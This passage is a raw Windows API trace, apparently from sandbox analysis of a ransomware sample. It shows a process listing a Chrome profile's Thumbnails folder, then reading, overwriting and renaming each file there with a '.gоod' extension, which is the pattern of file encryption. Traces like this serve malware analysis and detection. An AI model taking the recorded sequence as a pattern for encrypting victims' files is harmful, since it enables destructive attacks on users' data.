ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0228.287] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe75cff11, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.287] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522fbf33, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x522fbf33, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x522fbf33, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0228.287] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x51b5d18d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0228.287] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0228.288] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0228.288] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG.old", cAlternateFileName="")) returned 1 [0228.288] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1 [0228.288] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0 [0228.288] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0228.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0228.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0228.289] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", lpFilePart=0x0) returned 0x53 [0228.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edea0) returned 1 [0228.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x383fdb0 | out: lpFileInformation=0x383fdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522fbf33, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x522fbf33, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x522fbf33, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0228.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede60) returned 1 [0228.290] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", lpFilePart=0x0) returned 0x53 [0228.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0228.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.290] GetFileType (hFile=0x82c) returned 0x1 [0228.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0228.290] GetFileType (hFile=0x82c) returned 0x1 [0228.290] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208edef8 | out: lpFileSizeHigh=0x208edef8*=0x0) returned 0x0 [0228.290] CloseHandle (hObject=0x82c) returned 1 [0228.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", lpFilePart=0x0) returned 0x53 [0228.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0228.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.320] GetFileType (hFile=0x82c) returned 0x1 [0228.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0228.320] GetFileType (hFile=0x82c) returned 0x1 [0228.320] WriteFile (in: hFile=0x82c, lpBuffer=0x38b6968*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208edd38, lpOverlapped=0x0 | out: lpBuffer=0x38b6968*, lpNumberOfBytesWritten=0x208edd38*=0x10, lpOverlapped=0x0) returned 1 [0228.321] CloseHandle (hObject=0x82c) returned 1 [0228.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log", lpFilePart=0x0) returned 0x53 [0228.321] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log.gоod", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log.gоod", lpFilePart=0x0) returned 0x58 [0228.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ede60) returned 1 [0228.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x208edf40 | out: lpFileInformation=0x208edf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522fbf33, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x522fbf33, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x844cb53e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0228.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede20) returned 1 [0228.321] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\000003.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\000003.log.gоod")) returned 1 [0228.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", lpFilePart=0x0) returned 0x50 [0228.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edea0) returned 1 [0228.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\current"), fInfoLevelId=0x0, lpFileInformation=0x38b7c00 | out: lpFileInformation=0x38b7c00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x51b5d18d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0228.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede60) returned 1 [0229.445] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0230.174] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", lpFilePart=0x0) returned 0x50 [0230.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0230.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.174] GetFileType (hFile=0x630) returned 0x1 [0230.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0230.174] GetFileType (hFile=0x630) returned 0x1 [0230.174] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x208edef8 | out: lpFileSizeHigh=0x208edef8*=0x0) returned 0x10 [0230.174] ReadFile (in: hFile=0x630, lpBuffer=0x3805608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ede28, lpOverlapped=0x0 | out: lpBuffer=0x3805608*, lpNumberOfBytesRead=0x208ede28*=0x10, lpOverlapped=0x0) returned 1 [0230.175] CloseHandle (hObject=0x630) returned 1 [0230.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", lpFilePart=0x0) returned 0x50 [0230.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0230.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\current"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.339] GetFileType (hFile=0x630) returned 0x1 [0230.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0230.339] GetFileType (hFile=0x630) returned 0x1 [0230.339] WriteFile (in: hFile=0x630, lpBuffer=0x37a62b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208edd38, lpOverlapped=0x0 | out: lpBuffer=0x37a62b0*, lpNumberOfBytesWritten=0x208edd38*=0x20, lpOverlapped=0x0) returned 1 [0230.339] CloseHandle (hObject=0x630) returned 1 [0230.340] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT", lpFilePart=0x0) returned 0x50 [0230.340] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT.gоod", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT.gоod", lpFilePart=0x0) returned 0x55 [0230.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ede60) returned 1 [0230.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\current"), fInfoLevelId=0x0, lpFileInformation=0x208edf40 | out: lpFileInformation=0x208edf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x85817b67, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0230.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede20) returned 1 [0230.340] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\current"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\CURRENT.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\current.gоod")) returned 1 [0230.340] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", lpFilePart=0x0) returned 0x4d [0230.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edea0) returned 1 [0230.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\lock"), fInfoLevelId=0x0, lpFileInformation=0x37a7538 | out: lpFileInformation=0x37a7538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x514606bb, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0230.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede60) returned 1 [0230.341] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", lpFilePart=0x0) returned 0x4d [0230.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0230.341] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0230.341] GetFileType (hFile=0x630) returned 0x1 [0230.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0230.341] GetFileType (hFile=0x630) returned 0x1 [0230.341] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x208edef8 | out: lpFileSizeHigh=0x208edef8*=0x0) returned 0x0 [0230.341] CloseHandle (hObject=0x630) returned 1 [0231.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", lpFilePart=0x0) returned 0x4d [0231.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0231.482] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\lock"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.482] GetFileType (hFile=0x82c) returned 0x1 [0231.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0231.482] GetFileType (hFile=0x82c) returned 0x1 [0231.482] WriteFile (in: hFile=0x82c, lpBuffer=0x3a21aa8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208edd38, lpOverlapped=0x0 | out: lpBuffer=0x3a21aa8*, lpNumberOfBytesWritten=0x208edd38*=0x10, lpOverlapped=0x0) returned 1 [0231.483] CloseHandle (hObject=0x82c) returned 1 [0231.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK", lpFilePart=0x0) returned 0x4d [0231.483] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK.gоod", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK.gоod", lpFilePart=0x0) returned 0x52 [0231.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ede60) returned 1 [0231.483] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\lock"), fInfoLevelId=0x0, lpFileInformation=0x208edf40 | out: lpFileInformation=0x208edf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x863063ef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0231.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede20) returned 1 [0231.483] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\lock"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOCK.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\lock.gоod")) returned 1 [0231.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", nBufferLength=0x105, lpBuffer=0x208ed9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", lpFilePart=0x0) returned 0x4c [0231.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edea0) returned 1 [0231.484] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\log"), fInfoLevelId=0x0, lpFileInformation=0x3a22d18 | out: lpFileInformation=0x3a22d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xe75cff11, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xf143f155, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x138)) returned 1 [0231.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ede60) returned 1 [0231.484] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", lpFilePart=0x0) returned 0x4c [0231.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0231.484] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.484] GetFileType (hFile=0x82c) returned 0x1 [0231.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0231.484] GetFileType (hFile=0x82c) returned 0x1 [0231.484] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208edef8 | out: lpFileSizeHigh=0x208edef8*=0x0) returned 0x138 [0231.484] ReadFile (in: hFile=0x82c, lpBuffer=0x3a230e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ede28, lpOverlapped=0x0 | out: lpBuffer=0x3a230e8*, lpNumberOfBytesRead=0x208ede28*=0x138, lpOverlapped=0x0) returned 1 [0231.485] CloseHandle (hObject=0x82c) returned 1 [0231.709] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", nBufferLength=0x105, lpBuffer=0x208ed830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG", lpFilePart=0x0) returned 0x4c [0231.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208edd50) returned 1 [0231.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Thumbnails\\LOG" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\thumbnails\\log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0231.710] GetFileType (hFile=0x82c) returned 0x1 [0231.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edcc0) returned 1 [0231.710] GetFileType (hFile=0x82c) returned 0x1 [0231.710] WriteFile (in: hFile=0x82c, lpBuffer=0x37e0000*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x208edd38, 